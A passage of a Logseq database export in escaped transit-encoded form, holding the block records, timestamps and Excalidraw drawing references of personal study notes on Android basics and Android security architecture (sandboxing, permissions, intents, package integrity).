HelloService.class);\\nstartService(intent);\\n```logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Flogseq____&quot;,284,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Vlogseq____&quot;,282,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[290,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-bdd0-4555-9edf-eeeb6876f2d7logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;{{renderer excalidraw, excalidraw-2024-10-22-15-59-19}}logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Flogseq____&quot;,287,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Slogseq____&quot;,294,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Vlogseq____&quot;,293,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[291,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-422e-4dbb-aa2d-ad21dc1f9389logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;The service is then explicitly stopped (either by the client or itself)logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Flogseq____&quot;,286,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Vlogseq____&quot;,283,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[292,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-6bd8-44c7-8242-c3b438887a64logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Client binds to remote service #card #android-basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Flogseq____&quot;,283,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Xlogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Vlogseq____&quot;,278,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Ulogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Ulogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Jlogseq____&quot;,[],536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Hlogseq____&quot;,2,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^Hlogseq____&quot;,24,536870916]],[logseq____&quot;^15logseq____&quot;,[293,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7e84-4110-aabe-97aa0810d781logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[294,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:logseq.macro-namelogseq____&quot;,logseq____&quot;rendererlogseq____&quot;,logseq____&quot;~:logseq.macro-argumentslogseq____&quot;,[logseq____&quot;excalidrawlogseq____&quot;,logseq____&quot;excalidraw-2024-10-22-15-59-19logseq____&quot;]],536870916]],[logseq____&quot;^15logseq____&quot;,[294,logseq____&quot;^Wlogseq____&quot;,logseq____&quot;macrologseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[294,logseq____&quot;^Tlogseq____&quot;,logseq____&quot;renderer excalidraw excalidraw-2024-10-22-15-59-19logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^Klogseq____&quot;,1740128172081,536870916]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;topicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^11logseq____&quot;,logseq____&quot;Topicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^Blogseq____&quot;,1740475581438,536878868]],[logseq____&quot;^15logseq____&quot;,[296,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-8ff1-4192-be36-7724d3e2ac13logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Service Components]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Flogseq____&quot;,308,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Ulogseq____&quot;,26,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^Hlogseq____&quot;,26,536878163]],[logseq____&quot;^15logseq____&quot;,[297,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-2a26-4fbe-ac48-8fb55ba8d03dlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Content Provider]]logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Flogseq____&quot;,297,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Ulogseq____&quot;,25,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Ulogseq____&quot;,412,536873220]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^Hlogseq____&quot;,412,536878163]],[logseq____&quot;^15logseq____&quot;,[298,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-e268-4165-8b60-9e5e1d830937logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Topic 2 - Security Architecturelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Flogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Vlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536878163]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[299,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c8b5-42d5-9105-944211a77bdelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Topic 1 - Android Basicslogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Flogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Vlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536878163]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[300,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-03ca-4ffd-8ea2-9e593b8c8bfelogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Application Manifest]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Flogseq____&quot;,302,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Ulogseq____&quot;,28,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^Hlogseq____&quot;,28,536878163]],[logseq____&quot;^15logseq____&quot;,[301,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-c7dd-41bd-b3d4-16c23e1babb2logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[APK (Android Package)]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Flogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Ulogseq____&quot;,23,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^Hlogseq____&quot;,23,536878163]],[logseq____&quot;^15logseq____&quot;,[302,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1296-438c-b461-56d977b4f387logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Activity]]logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Flogseq____&quot;,301,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Ulogseq____&quot;,27,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Ulogseq____&quot;,411,536873220]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^Hlogseq____&quot;,411,536878163]],[logseq____&quot;^15logseq____&quot;,[303,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-aa14-4f4d-a59b-30da57df2ba0logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Secure Architecture Principles]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Flogseq____&quot;,310,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Ulogseq____&quot;,225,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^Hlogseq____&quot;,225,536878163]],[logseq____&quot;^15logseq____&quot;,[304,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-084b-4518-99b0-8dafbdf2bbf6logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Sandboxing]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Flogseq____&quot;,304,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Ulogseq____&quot;,183,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^Hlogseq____&quot;,183,536878163]],[logseq____&quot;^15logseq____&quot;,[306,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b6a3-4a4e-ab6e-d63d7f8f0319logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Access Control]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Flogseq____&quot;,306,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Ulogseq____&quot;,37,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^Hlogseq____&quot;,37,536878163]],[logseq____&quot;^15logseq____&quot;,[307,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-8606-4fce-b5d0-73c52f7d9357logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Intent Messages]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Flogseq____&quot;,303,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Vlogseq____&quot;,300,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Ulogseq____&quot;,75,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^Hlogseq____&quot;,75,536878163]],[logseq____&quot;^15logseq____&quot;,[308,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-89cf-440d-8333-2b2cb0ff9f2clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Permissions]]logseq____&quot;,536871371]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Flogseq____&quot;,307,536870916]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Ulogseq____&quot;,296,536871372]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Ulogseq____&quot;,354,536871372]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^Hlogseq____&quot;,354,536878163]],[logseq____&quot;^15logseq____&quot;,[309,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-9314-4077-bdf3-410e449d7207logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Package Integrity and Authenticity]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Flogseq____&quot;,311,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Ulogseq____&quot;,144,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^Hlogseq____&quot;,144,536878163]],[logseq____&quot;^15logseq____&quot;,[310,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-7095-4795-bf70-74b5a40c4b2elogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Security Considerations]]logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Flogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Xlogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Vlogseq____&quot;,299,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Ulogseq____&quot;,257,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Ulogseq____&quot;,296,536870916]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^Hlogseq____&quot;,257,536878163]],[logseq____&quot;^15logseq____&quot;,[311,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-97d0-423b-bbe7-6d72c775ab7clogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^Klogseq____&quot;,1740128172090,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;excalidraw-2024-10-22-15-58-29logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^11logseq____&quot;,logseq____&quot;excalidraw-2024-10-22-15-58-29logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;~:excalidraw-pluginlogseq____&quot;,true],536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1logseq____&lt;logseq____&quot;,logseq____&quot;truelogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^Blogseq____&quot;,1740128172090,536870916]],[logseq____&quot;^15logseq____&quot;,[314,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-1703-4982-832b-11d447cb863alogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^Klogseq____&quot;,1740128172104,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^@logseq____&quot;,false,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;excalidraw-pluginlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^11logseq____&quot;,logseq____&quot;excalidraw-pluginlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^Blogseq____&quot;,1740128172104,536870916]],[logseq____&quot;^15logseq____&quot;,[315,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-b44e-4cc0-a3c4-de3c662063a4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;excalidraw-plugin:: true\\n\\nlogseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;~:block/invalid-propertieslogseq____&quot;,[logseq____&quot;~#setlogseq____&quot;,[]],536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Flogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Xlogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Vlogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Ulogseq____&quot;,314,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Ulogseq____&quot;,315,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^:logseq____&quot;,true,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1logseq____&lt;logseq____&quot;,true],536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^1logseq____&lt;logseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^1logseq____&lt;logseq____&quot;,logseq____&quot;truelogseq____&quot;],536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^Hlogseq____&quot;,315,536870916]],[logseq____&quot;^15logseq____&quot;,[316,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b83fac-4764-43d1-9dd5-716a006aaec4logseq____&quot;,536870916]],[logseq____&quot;^15logseq____&quot;,[317,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;#+BEGIN_IMPORTANT\\nThis file is used to store excalidraw information, Please do not manually edit this 